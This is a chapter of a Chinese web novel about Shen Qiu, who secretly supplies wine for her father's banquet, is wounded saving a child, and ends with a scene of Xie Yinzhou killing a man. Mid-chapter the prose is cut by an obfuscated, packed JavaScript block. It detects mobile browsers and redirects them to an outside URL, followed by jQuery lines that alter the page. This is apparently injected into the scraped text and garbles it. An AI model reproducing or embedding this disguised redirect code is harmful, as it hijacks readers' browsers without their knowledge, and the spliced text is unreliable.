“不好了,不好了!老爷,东厨房的那些酒桶都漏了,里面的酒都撒完了。”
“什么!怎么会突然漏了呢?”
“不知怎的,每个桶下都有几道细缝。”
“每个?”沈戈端扶额,怒道,“哪来这么巧的事。”
李总管吞吐道:“老爷,你还记得二姑娘出生时那个术士说的吗,这二姑娘才被接回来不久,府中就接二连三出了这么多事,你说这会不会...”
沈戈端蹙眉,静了一会儿才道:“先去清点清点,还剩下多少能用的酒,再去几个酒楼问问,还有没有多的酒。”
“府中要的量大,寻常酒楼还要供给自家酒楼营生,恐怕没有酒楼能一夜之间供出那么多多余的酒来。”李总管惆怅道。
“一家不行那就两家,两家不行那就三家,怎么可能凑不到,去找!”沈戈端这两天本就忙的不可开交,这一来一回的问法,让他心中的气都起来了。
“爹?”沈裘轻咳两声,从旁边路过,“是发生什么事了吗?”
沈戈端扶额,如实说:“府中明日设宴,缺了些酒。”
“要多少?”沈裘仰头,真诚道,“我正巧要出门买一些福纸为爹爹祈福,路过酒楼可以帮忙问问。”
沈戈端蹙眉道:“姑娘家去酒楼不好,这些事让下人办就行。”说完,他看向旁边还在磨蹭的李总管,“愣着干嘛,快去。”
沈裘慢慢引导:“事出紧急,多一个人问多个帮手,我也想帮爹爹分忧。”
沈戈端低眸看着那双干净的眸子,突然为方才自己冒出的念头感到愧疚,轻叹了一口气道:“好,你去吧,买不到也没关系,早些回家。”
沈裘笑着点点头,转身离去。
沈戈端看着那道背影,拽住匆匆要出门的李总管,“酒的事情处理好之后,去查一查王婆子的酒楼,不要让人发现。”
王婆子是陆氏引荐的,因为信赖陆氏,所以这么多年,家中的酒都是从那家酒楼买的。从前也有几次发现酒中掺杂了木头味,那婆子解释说是发酵久的问题,沾了味道在所难免,他从未怀疑这个原因竟是处在桶上。
......
晌午过去,京城最大酒楼突然宣布歇一天。
沈裘带着纱帽从酒楼的后门出来,清风微扬下,纱帽如波浪般波动,隐隐露出一张倾城的面容。
“大掌柜慢走。”账房欠身行礼,望着那道纤细的背影,有些讶异。来这里这么久,一直没见过大掌柜,没想到大掌柜竟然是个身材如此娇俏的女子。
川流的街巷,人头涌动。
沈裘停在一个福纸摊位前,随便点了一个,问:“老板,这个多少钱。”
“哦~”那老板似乎在看什么热闹,被问了才反应过来,笑嘻嘻道,“姑娘,二十文。”
沈裘从袖口掏出二十文,递给他。
老板包起福纸,递给她,侧头朝旁边摊位老板道:“那小孩儿也真是的,被说几句就算了,还要去打人家,唉,这回她可是碰到硬茬了,另一个孩子她爹娘可不是什么好人。”
沈裘将福纸放入袖中,侧头朝那个方向望过去。
女孩被踩在地上,面色泛白,额上冒了细汗,小小的手吃力的抓着踩在身上的脚,只是力气实在是太小了,并没有什么作用。
“龟宝,你同她说了什么,让她这么生气?”
被叫做龟宝的孩子,看着周围人望过来的眼神,小声道:“野种。”
“野种?”那脚上的力道更大了些,让那孩子的面色更痛苦了,“没错啊,你爹娘把你卖进奴隶市场,与没爹没娘有什么区别,不就是一个...”那人笑了笑,咬字清晰道,“小野种吗?”
旁边的孩子有了人撑腰,便有了底气,开始喊了起来:“小野种,小野种!”
周遭不少人驻足,却无一人伸出援手,女孩泪眼婆娑却不肯垂下眼泪,小手不停捶打踩在肚子上的脚,大喊道:“你们胡说!我爹娘只是缺钱,以后会把我带回去的!”
“小孩就是天真。”那人笑道,低头道,“你爹娘是不要...”
话未说完,突然一道身影旁若无人的从人群中走出来,在众人目视之中,推了那人一把,将女孩扶了起来,蹲下身用手轻拍她身上的尘土。
被推在一边的人踉跄了两步才反应过来发生了什么,眯眼望过去,才发现这张面孔极为面熟:“真是冤家路窄啊又碰上你了,上次你可是害我在衙门吃了不少苦头,还当你富贵了没去找你,眼下看你穿的还是这幅样子,看起来也没在官家落到好啊,这回我就连你一起教训了!来!给我上!”
众人围上去,他将孩子抱在怀里,任由旁人踢打。
“把剑给我!老子一剑捅死他,也省的到时候他同官家告状。”那人从下人的腰间拔出剑。
长剑霹下的瞬间,一只纤细的手紧紧握在上面。周围人声都静了下来,连那群本来在打人的下人都停了下来。
微风浮动,一滴血落在谢隐舟的肩头,他睁开眼,睨着肩头的朱砂色,一双剑眉微不可查的蹙起。
选了一个最蠢的方法。
沈裘面色泛白,额上出了细汗,手却还死死的捏着那把剑,她慢慢抬眸:“我府中的人...还轮不到外人指手画脚。”她的眼神沉静而倔强,脸上的血色却一点一点淡下去。
“你不要命了吗!”那人抽开剑往后退了两步,怕惹上麻烦,带着孩子也一众人走了。
周围看热闹的人也散了大半。
沈裘气喘吁吁的站在原地,眼前微晃,下一秒便倒在了地上。
谢隐舟上前,打算将她扶起来然后离开。
“等一等。”沈裘下意识伸手拽住他的袖子,反应过来后疼的收回手,眼眶微红,她咬牙,看向旁边的孩子,朝她招了招手,“过来,我有话同你说。”
那小孩忍了好久的眼泪,在这刻再也忍不住,边用衣袖擦拭,边跑到沈裘面前。
沈裘叹了口气:“可有受伤?”
小孩摇摇头。
沈裘点点头:“往后遇到这样的事...”
小孩边哭边抢答:“姐姐不必告诉我,我知道,只要捂住耳朵就好了。”大人都这么说,多一事不如少一事,捂住耳朵回到家睡一觉,就什么都忘了...她当然是知道的!只是!只是真的太难忍了!
沈裘笑着摇摇头,朝她招招手,示意她凑近,小孩抹着眼泪附耳过来。
一阵风吹过,那话语伴随着风送入孩子的耳朵。
“找机会撕烂他们的嘴。”
孩子低眸,手里不知道什么时候被塞了几块铜板。
沈裘主动朝旁边的谢隐舟伸手,待她被扶起来,她俯视在地上发愣的孩子,勾唇温和道:“记住了吗?”
孩子看着那位美若天仙的姐姐,仿佛方才说的话与眼前的人不是一个人一般。但姐姐的这个建议,让她压抑的内心突然释放,她重重点头。
府中
沈戈端将手中的瓷杯重重的放下,叹了口气道:“你能同爹认错,爹很高兴,可是爹已经同你妹妹说好了,让她在宴上抚琴...”
沈亦安急切道:“爹,您同僚的那些闺秀可都是精通音律之辈,沈裘那三脚猫的功夫,你不都听下人说了吗,她在后院被先生说了多少回,到时候宴上丢的可就是您的脸啊。”
沈戈端对她这样说话的方式不太喜欢,可她说的确实有道理,作为宴的主人,若是在这些细碎的地方掉了面子,那帮同僚不知道要在后面怎么笑话他。
李总管从外面走来,脸上表情不太好。
沈戈端蹙眉,心中有所揣测:“如何。”
李总管摇了摇头道:“去问了几家,都说一时做不出那么多酒,明日拼拼凑凑能凑出十坛,但与我们要的也相差甚远。”
沈戈端扶额,看着李总管欲言又止的模样,朝旁边的沈亦安道:“你说的我会考虑的,先下去吧。”
沈亦安哭道:“爹!”
沈戈端忍不住大声道:“下去!”眼下事都堆在一起,他哪有心思想这些。
沈亦安不敢置信,从前爹从来不会这般对她的,央求几下定是答应了,本还想再说的她,终究没有接着哭闹,咬着牙转身离开。
待沈亦安走后,沈戈端闭上眼,手揉着眉心:“说吧。”
“奴婢一路跟着婆子,发现她去了一家木头铺子,偷听后才得知,她铺子中用的酒桶竟都是一些打捞上来的浮木,价格低,质量差。”李总管说。
沈戈端一巴掌拍在桌上:“亏我还如此信任她。”
“老爷,老爷!不好了,听人说二姑娘在街上救人受伤了!”杂役从外面跑进来。
“见鬼了,莫不是被人扎针了。”沈戈端起身,快步往前走,“来几个人,随我一同出去。”
话语刚落,沈裘已经扶着门,跨进了门口,苍白的脸上,勾起几抹笑意:“爹,酒我为你问到了。”
沈戈端未听清她说的,快步走上前:“听说你今天又救人了,受伤了没?”
沈裘将手往后藏了藏,低眸心虚道:“爹放心,没受什么伤。”
沈戈端将她的小动作尽收眼底,严厉道:“把身后的手伸出来。”
沈裘正对上沈戈端微压的眼神,只好把手伸出来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583954|171641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>霜白的手上,朱砂色的一道雪痕赫然明显,陷入血肉深可见骨。
“快去找大夫来!”沈戈端见此,忙冲旁边道。
沈裘看到周遭忙忙碌碌的,轻飘飘道。“爹,不疼。”她低眸,有些不好意思道,“只是明日好像不能为爹爹抚琴了。”
“这时候还操心这事儿做什么,弹琴这事儿让你阿姐来!你且先回屋子歇息去!”沈戈端用命令的口气道。
沈裘轻轻点头,转身的一瞬间,眼神微暗,深不见底,嘴角微微勾起。走到一半,她转身过来,眯眼笑道:“爹,差点忘了,我还为你买了福纸。”
......
人走后,沈戈端将福纸放在一边,重重坐回椅子上,叹气道:“这孩子也真是心善过头了,如此危险的情况怎能贸然救人呢?”
通禀的杂役在旁边道:“可是老爷,现在民间都流传沈家有个蕙质兰心,好心肠的二姑娘呢。”
沈戈端顿了顿,眉头慢慢绽开:“裘儿方才说什么?找到酒了?”
“是的。”李总管蹙眉道,“可是不应该啊,奴婢找了好几家酒坊都说供不出酒。”
“老爷,前院来人了,说是醉仙坊的。”有人通传道。
沈戈端与李总管面面相觑,眼中有些愕然。
早听闻京中最大的地被人盘下,成了醉仙坊,酒色醇香深受达官贵人喜爱,平时预定都很难。
李总管更为惊讶,他以为醉仙楼平常预定都很难,更别提给沈家供这么多酒了,所以没有进门问。
“快快宣进!”沈戈端道。
醉仙楼的账房缓步走进,双手奉上,端端正正的行了个礼:“沈老爷。”
沈戈端起身相迎:“快请起。”
账房从袖口拿出账本:“我家大掌柜本来无意于做这单生意,但看贵府二姑娘实在真诚,便同意歇业一天做成这单生意,酒要多少明天有多少,就是价格会比寻常贵十文,你们可愿?”
醉仙楼的酒谁都知道贵,比寻常还要贵十文听起来不多,但加起来数额很大。不过眼下,只有他们供的出这么多酒,不管如何都得买了。沈戈端爽快地笑道:“自然,还多谢醉仙楼大掌柜愿意帮忙。”
“可有纸笔?”账房道。
沈戈端朝旁边人拱手,让人拿来纸笔。
不一会,人来了,朝账房送上。
账房低头递给他一张纸:“还请沈大人将要的数量写下,明日我便将您要的酒送到府上,一坛不少。”
沈戈端爽快的接过,写下数字,而后送走了人。他坐在椅子上,松了口气,仰头望着天。明明方才还有一大堆烦心事,却因为裘儿的出现,全部解决了。
可真是他的好女儿啊。
他欣慰的笑了笑。
李总管看到桌上放的福纸,问道:“二姑娘买的福纸老奴带去宗祠烧了吧。”
沈戈端侧眸看向那刀福纸,静默了半刻:“不必,留着吧。”
落日余晖,微风习习,空气中带着湿冷,让人不禁觉得刺骨。
李二喂着兔子,突然感觉身后有一双眼睛盯着自己,战战兢兢的往后扫了一眼,发现什么都没有松了口气,还觉得自己胆子变小了。
他起身踢了一脚兔笼:“听话一点,多长一点肉,老子吃的才尽兴知道了没?”
看到兔子缩在笼子的角落,他爽快的笑了两声,转身往屋里走。
布鞋踩青草,湿润的草间垂挂下露珠,沾染在袍衫上,一阵风吹过,扬起的头发沾染着雨后青草的清香。
李二停下来,狐疑的转身看了一眼,身后除了几只兔子什么都没有,他双手抱着肩膀,想着也许是太冷了,正要转身之际,一道身影从黑暗中走出来,旁若无人的走到那兔笼边,俯视那些兔子。
“喂,你从哪来的?私闯民宅我可是要报官的。”他从旁边拾起一块木棍藏在身后,狐疑的走过去。
那人静静地站在那里,只有一道背影,仿佛没有听见他说话一般,连动都没有动。他怒气涌上来,提起棍子就打算砸下去,突然那力道止在了一半,他惊愕的抬头。
那根木头停在两人之间,挡住了两人的脸。
谢隐舟握着那根木头,慢慢往旁边移开,夜色慢慢将两人的脸照清晰,眸子相撞的那一刻,他欣赏着对方眼里的错愕,慢慢勾起唇角。
李二慌乱道:“你...”话未说完,他忽然失去了力气,浑身不受控制的晃了晃,重重落在地上,瞪大的眼中倒映着那道漫步离开的背影。他迟钝的低头,才发现不知何时,木棍已经刺穿了身体。
兔子蜷在笼子后,无处可躲,红色的瞳色愈来愈深。